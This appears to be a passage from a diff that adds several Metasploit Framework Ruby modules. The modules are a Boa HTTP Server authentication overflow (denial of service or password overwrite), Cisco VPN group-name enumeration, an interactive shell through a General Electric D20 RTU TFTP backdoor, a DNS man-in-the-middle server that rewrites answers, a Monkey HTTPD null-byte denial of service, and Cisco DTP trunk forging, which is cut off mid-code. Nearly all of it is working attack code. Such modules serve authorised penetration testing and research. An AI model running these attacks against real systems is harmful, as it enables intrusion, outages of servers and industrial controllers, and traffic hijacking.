The Intersil extention in the Boa HTTP Server 0.93.x - 0.94.11
|
||||
allows denial of service or possibly authentication bypass
|
||||
via a Basic Authentication header with a user string greater than 127 characters. You must set
|
||||
the request URI to the directory that requires basic authentication.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Luca "ikki" Carettoni <luca.carettoni[at]securenetwork.it>', #original discoverer
|
||||
'Claudio "paper" Merloni <claudio.merloni[at]securenetwork.it>', #original discoverer
|
||||
'Max Dietz <maxwell.r.dietz[at]gmail.com>' #metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://packetstormsecurity.org/files/59347/boa-bypass.txt.html'],
|
||||
],
|
||||
'DisclosureDate' => 'Sep 10 2007'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('URI', [ true, "The request URI", '/']),
|
||||
OptString.new('PASSWORD', [true, 'The password to set (if possible)', 'pass'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri'=>'/',
|
||||
'method'=>'GET'
|
||||
})
|
||||
if (res and (m = res.headers['Server'].match(/Boa\/(.*)/)))
|
||||
print_status("Boa Version Detected: #{m[1]}")
|
||||
return Exploit::CheckCode::Safe if (m[1][0].ord-48>0) # boa server wrong version
|
||||
return Exploit::CheckCode::Safe if (m[1][3].ord-48>4)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
print_status("Not a Boa Server!")
|
||||
return Exploit::CheckCode::Safe # not a boa server
|
||||
end
|
||||
rescue Rex::ConnectionRefused
|
||||
print_error("Connection refused by server.")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
if check == Exploit::CheckCode::Vulnerable
|
||||
datastore['BasicAuthUser'] = Rex::Text.rand_text_alpha(127)
|
||||
datastore['BasicAuthPass'] = datastore['PASSWORD']
|
||||
res = send_request_cgi({
|
||||
'uri'=> datastore['URI'],
|
||||
'method'=>'GET'
|
||||
})
|
||||
if (res != nil)
|
||||
print_status("Server still operational... checking to see if password has been overwritten.")
|
||||
datastore['BasicAuthUser'] = 'admin'
|
||||
res = send_request_cgi({
|
||||
'uri'=>datastore['URI'],
|
||||
'method'=>'GET'
|
||||
})
|
||||
if (res.code == 200)
|
||||
print_status("Access successful with admin:#{datastore['PASSWORD']}")
|
||||
elsif (res.code != 401)
|
||||
print_status("Access not forbidden, but another error has occured: Code #{res.code} encountered")
|
||||
else
|
||||
print_status("Access forbidden, this module has failed.")
|
||||
end
|
||||
else
|
||||
print_status("Denial of Service has succeeded.")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,387 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'bit-struct'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Capture
|
||||
include Msf::Exploit::Remote::Udp
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Cisco IPSec VPN Implementation Group Name Enumeration.',
|
||||
'Description' => %q{
|
||||
This module enumerates VPN group names from Cisco VPN3000 and Cisco ASA devices.
|
||||
},
|
||||
'Author' => [ 'pello' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [ [ 'URL', 'http://www.cisco.com/en/US/products/products_security_response09186a0080b5992c.html' ] ]
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('TIMEOUT', [ true, "The number of seconds to wait for new data.",3]),
|
||||
OptString.new('WORDLIST', [ true, "Wordlist containing VPN group names.", '']),
|
||||
Opt::RPORT(500),
|
||||
OptString.new('INTERFACE', [false, 'The name of the interface','eth0'])
|
||||
], self.class)
|
||||
|
||||
deregister_options('PCAPFILE','SNAPLEN','FILTER')
|
||||
|
||||
end
|
||||
|
||||
class IsakmpHeader < Struct.new(
|
||||
:initiatorcookie,
|
||||
:respondercookie,
|
||||
:nextpayload,
|
||||
:version,
|
||||
:exchangetype,
|
||||
:flags,
|
||||
:messageid,
|
||||
:length
|
||||
)
|
||||
|
||||
def initialize
|
||||
self.initiatorcookie = ""
|
||||
self.respondercookie = ""
|
||||
self.nextpayload = 1
|
||||
self.version = 0x10
|
||||
self.exchangetype = 0x4
|
||||
self.flags = 0
|
||||
self.messageid = 0
|
||||
self.length = 0
|
||||
end
|
||||
|
||||
def pack
|
||||
[
|
||||
initiatorcookie,
|
||||
respondercookie,
|
||||
nextpayload,
|
||||
version,
|
||||
exchangetype,
|
||||
flags,
|
||||
messageid,
|
||||
length
|
||||
].pack("a8a8CCCCNN")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
class IsakmpSaPayload < Struct.new(
|
||||
:nextpayload,
|
||||
:reserved,
|
||||
:payloadlength,
|
||||
:domain,
|
||||
:situation
|
||||
)
|
||||
|
||||
def initialize
|
||||
self.nextpayload = 4
|
||||
self.reserved = 0
|
||||
self.payloadlength = 0xa4
|
||||
self.domain = 1
|
||||
self.situation = 1
|
||||
end
|
||||
|
||||
def pack
|
||||
[
|
||||
nextpayload,
|
||||
reserved,
|
||||
payloadlength,
|
||||
domain,
|
||||
situation
|
||||
].pack("CCnNN")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
class IsakmpProposalPayload < Struct.new(
|
||||
:nextpayload,
|
||||
:reserved,
|
||||
:payloadlength,
|
||||
:proposalnumber,
|
||||
:protocol,
|
||||
:spisize,
|
||||
:proposaltransforms
|
||||
)
|
||||
def initialize
|
||||
self.nextpayload = 0
|
||||
self.reserved = 0
|
||||
self.payloadlength = 0x98
|
||||
self.proposalnumber = 1
|
||||
self.protocol = 1
|
||||
self.spisize = 0
|
||||
self.proposaltransforms = 4
|
||||
end
|
||||
|
||||
def pack
|
||||
[
|
||||
nextpayload,
|
||||
reserved,
|
||||
payloadlength,
|
||||
proposalnumber,
|
||||
protocol,
|
||||
spisize,
|
||||
proposaltransforms
|
||||
].pack("CCnCCCC")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
class IsakmpTransformPayload < Struct.new(
|
||||
:nextpayload,
|
||||
:reserved,
|
||||
:payloadlength,
|
||||
:number,
|
||||
:id,
|
||||
:padding,
|
||||
:encryption,
|
||||
:hash,
|
||||
:authentication,
|
||||
:groupdescription,
|
||||
:lifetype,
|
||||
:lifeduration
|
||||
)
|
||||
|
||||
def initialize
|
||||
self.nextpayload = 3
|
||||
self.reserved = 0
|
||||
self.payloadlength = 0x24
|
||||
self.number = 1
|
||||
self.id = 1
|
||||
self.padding = 0
|
||||
self.encryption = 0x80010005
|
||||
self.hash = 0x80020002
|
||||
self.authentication = 0x8003fde9
|
||||
self.groupdescription = 0x80040002
|
||||
self.lifetype = 0x800b0001
|
||||
self.lifeduration = "\x00\x0c\x00\x04\x00\x00\x70\x80"
|
||||
end
|
||||
|
||||
def pack
|
||||
[
|
||||
nextpayload,
|
||||
reserved,
|
||||
payloadlength,
|
||||
number,
|
||||
id,
|
||||
padding,
|
||||
encryption,
|
||||
hash,
|
||||
authentication,
|
||||
groupdescription,
|
||||
lifetype,
|
||||
lifeduration
|
||||
].pack("CCnCCnNNNNNA8")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
class IsakmpKeyExchangePayload < Struct.new(
|
||||
:nextpayload,
|
||||
:reserved,
|
||||
:payloadlength,
|
||||
:data
|
||||
)
|
||||
|
||||
def initialize
|
||||
self.nextpayload = 5
|
||||
self.reserved = 0
|
||||
self.payloadlength = 0x84
|
||||
self.data = Rex::Text.rand_text(128,'0x0')
|
||||
end
|
||||
|
||||
def pack
|
||||
[
|
||||
nextpayload,
|
||||
reserved,
|
||||
payloadlength,
|
||||
data
|
||||
].pack("CCnA128")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
class IsakmpNoncePayload < Struct.new(
|
||||
:nextpayload,
|
||||
:reserved,
|
||||
:payloadlength,
|
||||
:data
|
||||
)
|
||||
|
||||
def initialize
|
||||
self.nextpayload = 5
|
||||
self.reserved = 0
|
||||
self.payloadlength = 0x18
|
||||
self.data = Rex::Text.rand_text(20,'0x0')
|
||||
end
|
||||
|
||||
def pack
|
||||
[
|
||||
nextpayload,
|
||||
reserved,
|
||||
payloadlength,
|
||||
data
|
||||
].pack("CCnA20")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
class IsakmpIdPayload < Struct.new(
|
||||
:nextpayload,
|
||||
:reserved,
|
||||
:payloadlength,
|
||||
:type,
|
||||
:protocol,
|
||||
:port,
|
||||
:data
|
||||
)
|
||||
|
||||
def initialize
|
||||
self.nextpayload = 0
|
||||
self.reserved = 0
|
||||
self.payloadlength = 0
|
||||
self.type = 0xb
|
||||
self.protocol = 0x11
|
||||
self.port = 500
|
||||
self.data
|
||||
end
|
||||
|
||||
def pack
|
||||
[
|
||||
nextpayload,
|
||||
reserved,
|
||||
payloadlength,
|
||||
type,
|
||||
protocol,
|
||||
port,
|
||||
data
|
||||
].pack("CCnCCnA*")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def generate_isakmp_message
|
||||
isakmp_hdr = IsakmpHeader.new
|
||||
isakmp_hdr.initiatorcookie = Rex::Text.rand_text(8,'0x0')
|
||||
isakmp_sa = IsakmpSaPayload.new
|
||||
isakmp_proposal = IsakmpProposalPayload.new
|
||||
isakmp_transform1 = IsakmpTransformPayload.new
|
||||
isakmp_transform2 = IsakmpTransformPayload.new
|
||||
isakmp_transform2.number = 0x2
|
||||
isakmp_transform2.hash = 0x80020001
|
||||
isakmp_transform3 = IsakmpTransformPayload.new
|
||||
isakmp_transform3.number = 0x3
|
||||
isakmp_transform3.encryption = 0x80010001
|
||||
isakmp_transform3.hash = 0x80020002
|
||||
isakmp_transform4 = IsakmpTransformPayload.new
|
||||
isakmp_transform4.number = 0x4
|
||||
isakmp_transform4.encryption = 0x80010001
|
||||
isakmp_transform4.hash = 0x80020001
|
||||
isakmp_transform4.nextpayload = 0x0
|
||||
isakmp_key_exchange = IsakmpKeyExchangePayload.new
|
||||
isakmp_nonce = IsakmpNoncePayload.new
|
||||
isakmp_id = IsakmpIdPayload.new
|
||||
isakmp_id.payloadlength = @groupname.rstrip.length + 8
|
||||
isakmp_id.data = @groupname.rstrip
|
||||
|
||||
isakmp_hdr.length = 356 + isakmp_id.data.length
|
||||
|
||||
payload = ""
|
||||
payload << isakmp_hdr.pack
|
||||
payload << isakmp_sa.pack
|
||||
payload << isakmp_proposal.pack
|
||||
payload << isakmp_transform1.pack
|
||||
payload << isakmp_transform2.pack
|
||||
payload << isakmp_transform3.pack
|
||||
payload << isakmp_transform4.pack
|
||||
payload << isakmp_key_exchange.pack
|
||||
payload << isakmp_nonce.pack
|
||||
payload << isakmp_id.pack
|
||||
|
||||
return payload
|
||||
end
|
||||
|
||||
def check_dpd(pkt)
|
||||
pkt2hex = pkt.unpack("C*").map {|x| x.to_s(16)}.join
|
||||
pkt2hex =~ /afcad71368a1f1c96b8696fc77571/i
|
||||
end
|
||||
|
||||
def build_ipsec_pkt
|
||||
payload = generate_isakmp_message
|
||||
connect_udp
|
||||
pcap = Pcap::open_live(datastore['INTERFACE'], 1500, false, datastore['TIMEOUT'].to_i)
|
||||
pcap.setfilter("src host #{datastore['RHOST']} and udp port 500")
|
||||
udp_sock.put(payload)
|
||||
disconnect_udp
|
||||
begin
|
||||
Timeout.timeout(datastore['TIMEOUT'].to_i) do
|
||||
pcap.each do |r|
|
||||
close_pcap
|
||||
if check_dpd(r)
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue Timeout::Error
|
||||
close_pcap
|
||||
print_status("No reply received. The following group is discovered: " << @groupname.to_s)
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def check_reachability
|
||||
ipsecport = datastore['RPORT']
|
||||
datastore['RPORT'] = 62515
|
||||
pkt = "\x00\x00\xa5\x4b\x01\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
print_status("Sending VPN client log UDP request to #{datastore['RHOST']}")
|
||||
connect_udp
|
||||
datastore['RPORT'] = ipsecport
|
||||
|
||||
pcap = Pcap::open_live(datastore['INTERFACE'], 1500, false, datastore['TIMEOUT'].to_i)
|
||||
pcap.setfilter("icmp[icmptype] == icmp-unreach and host #{datastore['RHOST']}")
|
||||
udp_sock.put(pkt)
|
||||
disconnect_udp
|
||||
begin
|
||||
Timeout.timeout(datastore['TIMEOUT'].to_i) do
|
||||
pcap.each do |r|
|
||||
print_error("No response from the Cisco VPN remote peer.")
|
||||
close_pcap
|
||||
return false
|
||||
end
|
||||
end
|
||||
rescue Timeout::Error
|
||||
close_pcap
|
||||
print_status("Cisco VPN remote peer is ready.")
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
open_pcap unless self.capture
|
||||
|
||||
groupnames = []
|
||||
File.open(datastore['WORDLIST'],"rb").each_line do |line|
|
||||
groupnames << line.strip
|
||||
end
|
||||
|
||||
if check_reachability
|
||||
print_status("Starting...")
|
||||
groupnames.each do |groupname|
|
||||
@groupname = groupname
|
||||
if build_ipsec_pkt
|
||||
print_status("The following group is discovered: " << @groupname.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
@@ -0,0 +1,168 @@
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
##
|
||||
# This module implements a CLI backdoor present in the General Electric D20 Remote Terminal
|
||||
# Unit (RTU). This backdoor may be present in other General Electric Canada control systems.
|
||||
# Use with care. Interactive commands may cause the TFTP server to hang indefinitely, blocking
|
||||
# the backdoor until the system is rebooted.
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/ui/text/shell'
|
||||
require 'rex/proto/tftp'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Rex::Ui::Text
|
||||
include Rex::Proto::TFTP
|
||||
include Msf::Exploit::Remote::Udp
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'General Electric D20 Backdoor (Async TFTP Command Line)',
|
||||
'Description' => %q{
|
||||
The General Electric D20ME and possibly other units (D200?) feature
|
||||
a backdoor command line. Commands are issued to MONITOR:command.log,
|
||||
and responses are read from MONITOR:response.log.
|
||||
},
|
||||
'Author' => [ 'K. Reid Wightman <wightman@digitalbond.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'DisclosureDate' => 'Jan 19 2012',
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(69),
|
||||
Opt::RHOST('192.168.255.1'),
|
||||
OptString.new('REMOTE_CMD_FILE', [true, "The remote filename used to issue commands", "MONITOR:command.log"]),
|
||||
OptString.new('REMOTE_RESP_FILE', [true, "The remote filename used to gather response", "MONITOR:response.log"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def setup
|
||||
@rhost = datastore['RHOST']
|
||||
@rport = datastore['RPORT'] || 69
|
||||
@lport = datastore['LPORT'] || (1025 + rand(0xffff - 1025))
|
||||
@lhost = datastore['LHOST'] || "0.0.0.0"
|
||||
@rcmdpath = datastore['REMOTE_CMD_FILE']
|
||||
@rresppath = datastore['REMOTE_RESP_FILE']
|
||||
end
|
||||
|
||||
def rtarget(ip=nil)
|
||||
if (ip or rhost) and rport
|
||||
[(ip || rhost),rport].map {|x| x.to_s}.join(":") << " "
|
||||
elsif (ip or rhost)
|
||||
"#{rhost} "
|
||||
else
|
||||
""
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup
|
||||
if @tftp_client and @tftp_client.respond_to? :complete
|
||||
while not @tftp_client.complete
|
||||
select(nil, nil, nil, 1)
|
||||
vprint_status "Cleaning up the TFTP client ports and threads."
|
||||
@tftp_client.stop
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def interactive
|
||||
stop = false
|
||||
print_status("Entering interactive mode")
|
||||
print_status("Type 'help' for remote help")
|
||||
print_status("Type 'quit' to quit")
|
||||
until stop == true
|
||||
print ("D20MEA> ")
|
||||
tmp = gets.chomp.to_s
|
||||
if "quit" == tmp or "exit" == tmp
|
||||
stop = true
|
||||
next
|
||||
elsif tmp == ""
|
||||
next
|
||||
else
|
||||
cmddata = "DATA:" + tmp
|
||||
cmddata += [13,10,00].pack("c*")
|
||||
@tftp_client = Rex::Proto::TFTP::Client.new(
|
||||
"LocalHost" => @lhost,
|
||||
"LocalPort" => @lport,
|
||||
"PeerHost" => @rhost,
|
||||
"PeerPort" => @rport,
|
||||
"LocalFile" => cmddata,
|
||||
"RemoteFile" => @rcmdpath,
|
||||
"Action" => :upload
|
||||
)
|
||||
@tftp_client.send_write_request { |msg| print_tftp_status(msg) }
|
||||
@tftp_client.threads do |thread|
|
||||
thread.join
|
||||
end
|
||||
while not @tftp_client.complete
|
||||
select(nil, nil, nil, 0.1)
|
||||
end # wait until transfer finishes
|
||||
# wait a second for the response file to be generated
|
||||
# this is a 25Mhz 68030 we're working with, here.
|
||||
# might need to wait longer for some commands to complete...
|
||||
sleep(1)
|
||||
@tftp_client = Rex::Proto::TFTP::Client.new(
|
||||
"LocalHost" => @lhost,
|
||||
"LocalPort" => @lport,
|
||||
"PeerHost" => @rhost,
|
||||
"PeerPort" => @rport,
|
||||
"LocalFile" => @lresppath,
|
||||
"RemoteFile" => @rresppath,
|
||||
"Action" => :download
|
||||
)
|
||||
@tftp_client.send_read_request { |msg| print_tftp_status(msg) }
|
||||
while not @tftp_client.complete
|
||||
select(nil, nil, nil, 0.1)
|
||||
end
|
||||
fh = @tftp_client.recv_tempfile
|
||||
data = File.open(fh,"rb") {|f| f.read f.stat.size} rescue nil
|
||||
if data
|
||||
# we need to clean the data a little so it prints nicely
|
||||
# the d20 always sends a few control characters to clear
|
||||
# the screen with the output. Chop those off.
|
||||
if data.size > 26
|
||||
data = data[0,data.size - 26]
|
||||
end
|
||||
# we can also chop off the header information, users
|
||||
# don't need to see the welcome message with every command
|
||||
if data.size > 77
|
||||
data = data[77, data.size]
|
||||
end
|
||||
print data
|
||||
else
|
||||
# I should probably re-try the download, after a few
|
||||
# seconds delay. Might be able to catch this in the
|
||||
# request response somehow, but things work well enough
|
||||
# for now
|
||||
end
|
||||
#client = Client.new(datastore['RHOST'], datastore['RPORT'])
|
||||
#client.send_binary('/tmp/m68kcmd', 'MONITOR:command.log')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def print_tftp_status(msg)
|
||||
case msg
|
||||
when /Aborting/, /errors.$/
|
||||
print_error [rtarget,msg].join
|
||||
when /^WRQ accepted/, /^Sending/, /complete!$/
|
||||
print_good [rtarget,msg].join
|
||||
else
|
||||
vprint_status [rtarget,msg].join
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
self.interactive()
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,185 @@
|
||||
##
|
||||
# $Id: fakedns.rb 5540 2008-06-25 23:04:19Z hdm $
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'resolv'
|
||||
|
||||
#module Msf
|
||||
|
||||
#class Auxiliary::Server::MITM_FakeDNS < Msf::Auxiliary
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'MITM DNS Service',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
This hack of the metasploit fakedns.rb serves as a sort
|
||||
of MITM DNS server. Requests are passed through to a real
|
||||
DNS server, and the responses are modified before being
|
||||
returned to the client, if they match regular expressions
|
||||
set in FILENAME.
|
||||
|
||||
To force a reload of the hosts file do an A record look up on
|
||||
the domain set in RELOAD.
|
||||
},
|
||||
'Author' => ['ddz', 'hdm', 'Wesley McGrew <wesley@mcgrewsecurity.com>', 'Robin Wood <dninja@gmail.com>'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'Service' ]
|
||||
],
|
||||
'PassiveActions' =>
|
||||
[
|
||||
'Service'
|
||||
],
|
||||
'DefaultAction' => 'Service'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]),
|
||||
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 53 ]),
|
||||
# W: Added in an option for a set of filters, took out the catchall TARGETHOST
|
||||
OptAddress.new('REALDNS', [true,"Ask this server for answers",nil]),
|
||||
OptString.new('FILENAME', [true,"File of ip,regex for filtering responses",nil]),
|
||||
OptString.new('RELOAD', [true,"A record to request reload of hosts file",'digininja.reload'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def load_host_file
|
||||
print_status "Loading hosts file"
|
||||
|
||||
begin
|
||||
fp = File.new(datastore['FILENAME'])
|
||||
rescue
|
||||
print_status "Could not open #{datastore['FILENAME']} for reading. Quitting."
|
||||
return
|
||||
end
|
||||
mod_entries = []
|
||||
|
||||
while !fp.eof?
|
||||
line = fp.gets().chomp()
|
||||
entry = line.split(' ')
|
||||
if entry.length == 2
|
||||
mod_entries.push([entry[0].strip,Regexp.new(entry[1].strip)])
|
||||
else
|
||||
print_status "Invalid entry in host file: #{line}. Ignoring"
|
||||
end
|
||||
end
|
||||
|
||||
return mod_entries
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
mod_entries = load_host_file
|
||||
|
||||
@port = datastore['SRVPORT'].to_i
|
||||
|
||||
# MacOS X workaround
|
||||
::Socket.do_not_reverse_lookup = true
|
||||
|
||||
@sock = ::UDPSocket.new()
|
||||
@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
||||
@sock.bind(datastore['SRVHOST'], @port)
|
||||
@run = true
|
||||
|
||||
Thread.new {
|
||||
# Wrap in exception handler
|
||||
begin
|
||||
|
||||
while @run
|
||||
packet, addr = @sock.recvfrom(65535)
|
||||
if (packet.length == 0)
|
||||
break
|
||||
end
|
||||
|
||||
request = Resolv::DNS::Message.decode(packet)
|
||||
|
||||
# W: Go ahead and send it to the real DNS server and
|
||||
#get the response
|
||||
sock2 = ::UDPSocket.new()
|
||||
sock2.send(packet, 0, datastore['REALDNS'], 53) #datastore['REALDNS'], 53)
|
||||
packet2, addr2 = sock2.recvfrom(65535)
|
||||
sock2.close()
|
||||
|
||||
|
||||
real_response = Resolv::DNS::Message.decode(packet2)
|
||||
fake_response = Resolv::DNS::Message.new()
|
||||
|
||||
fake_response.qr = 1 # Recursion desired
|
||||
fake_response.ra = 1 # Recursion available
|
||||
fake_response.id = real_response.id
|
||||
|
||||
real_response.each_question { |name, typeclass|
|
||||
if name.to_s == datastore['RELOAD']
|
||||
mod_entries = load_host_file
|
||||
end
|
||||
fake_response.add_question(name, typeclass)
|
||||
}
|
||||
|
||||
real_response.each_answer { |name, ttl, data|
|
||||
replaced = false
|
||||
mod_entries.each { |e|
|
||||
if name.to_s =~ e[1]
|
||||
case data.to_s
|
||||
when /IN::A/
|
||||
data = Resolv::DNS::Resource::IN::A.new(e[0])
|
||||
replaced = true
|
||||
when /IN::MX/
|
||||
data = Resolv::DNS::Resource::IN::MX.new(10,Resolv::DNS::Name.create(e[0]))
|
||||
replaced = true
|
||||
when /IN::NS/
|
||||
data = Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(e[0]))
|
||||
replaced = true
|
||||
when /IN::PTR/
|
||||
# Do nothing
|
||||
replaced = true
|
||||
else
|
||||
# Do nothing
|
||||
replaced = true
|
||||
end
|
||||
end
|
||||
break if replaced
|
||||
}
|
||||
fake_response.add_answer(name,ttl,data)
|
||||
}
|
||||
|
||||
real_response.each_authority { |name, ttl, data|
|
||||
mod_entries.each { |e|
|
||||
if name.to_s =~ e[1]
|
||||
data = Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(e[0]))
|
||||
break
|
||||
end
|
||||
}
|
||||
fake_response.add_authority(name,ttl,data)
|
||||
}
|
||||
|
||||
response_packet = fake_response.encode()
|
||||
|
||||
@sock.send(response_packet, 0, addr[3], addr[1])
|
||||
end
|
||||
|
||||
# Make sure the socket gets closed on exit
|
||||
rescue ::Exception => e
|
||||
print_error("fakedns: #{e.class} #{e} #{e.backtrace}")
|
||||
ensure
|
||||
@sock.close
|
||||
end
|
||||
}
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,79 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Monkey HTTPD Null Byte Request',
|
||||
'Description' => %q{
|
||||
Sending a request containing null bytes causes a
|
||||
thread to crash. If you crash all of the threads,
|
||||
the server becomes useless. Affects versions < 1.2.0.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Doug Prostko <dougtko[at]gmail[dot]com>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2013-3724'],
|
||||
],
|
||||
'DisclosureDate' => 'May 25 2013'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(2001),
|
||||
OptInt.new("TIMEOUT", [ false, "Set timeout for connectivity check", 10 ]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def is_alive
|
||||
connect
|
||||
sock.put("GET / HTTP/1.1\r\nHost:foo\r\n\r\n")
|
||||
if ! sock.get_once(-1, datastore['TIMEOUT'])
|
||||
raise ::Rex::ConnectionTimeout
|
||||
end
|
||||
disconnect
|
||||
end
|
||||
|
||||
def run
|
||||
loop do
|
||||
begin
|
||||
is_alive
|
||||
connect
|
||||
print_status("Sending DoS packet to #{rhost}:#{rport}")
|
||||
sock.put("\x00 / \r\n\r\n")
|
||||
disconnect
|
||||
Rex.sleep(1)
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_status("Unable to connect to #{rhost}:#{rport}.")
|
||||
break
|
||||
rescue ::Errno::ECONNRESET
|
||||
print_status("DoS packet successful. #{rhost} not responding.")
|
||||
break
|
||||
rescue ::Rex::HostUnreachable
|
||||
print_status("Couldn't connect to #{rhost}:#{rport}.")
|
||||
break
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
print_status("Timeout error connecting to #{rhost}:#{rport}.")
|
||||
break
|
||||
rescue ::Rex::ConnectionTimeout
|
||||
print_good("Monkey server is down!")
|
||||
break
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,112 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'racket'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Capture
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Forge Cisco DTP Packets',
|
||||
'Description' => %q{
|
||||
This module forges DTP packets to initialize a trunk port.
|
||||
},
|
||||
'Author' => [ 'Spencer McIntyre' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'Service' ]
|
||||
],
|
||||
'PassiveActions' =>
|
||||
[
|
||||
'Service'
|
||||
],
|
||||
'DefaultAction' => 'Service'
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DOMAIN', [ false, "DTP Domain Name", '']),
|
||||
OptString.new('IFACE', [ true, "Interface To Use", 'eth0']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
n = Racket::Racket.new
|
||||
@run = true
|
||||
domain = datastore['DOMAIN']
|
||||
if domain == ""
|
||||
domain = "\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
end
|
||||
|
||||
n.l2 = Racket::L2::Ethernet.new()
|
||||
n.l2.dst_mac = '01:00:0c:cc:cc:cc' #this has to stay the same
|
||||
n.l2.ethertype = (domain.length + 34)
|
||||
|
||||
n.l3 = Racket::L2::LLC.new()
|
||||
n.l3.control = 0x03
|
||||
n.l3.dsap = 0xaa
|
||||
n.l3.ssap = 0xaa
|
||||
cisco_vendor_code = "\x00\x00\x0c"
|
||||
pid = "\x20\x04" #2004 is DTP
|
||||
payload = cisco_vendor_code + pid
|
||||
|
||||
#DTP info section
|
||||
dtp_version = "\x01"
|
||||
|
||||
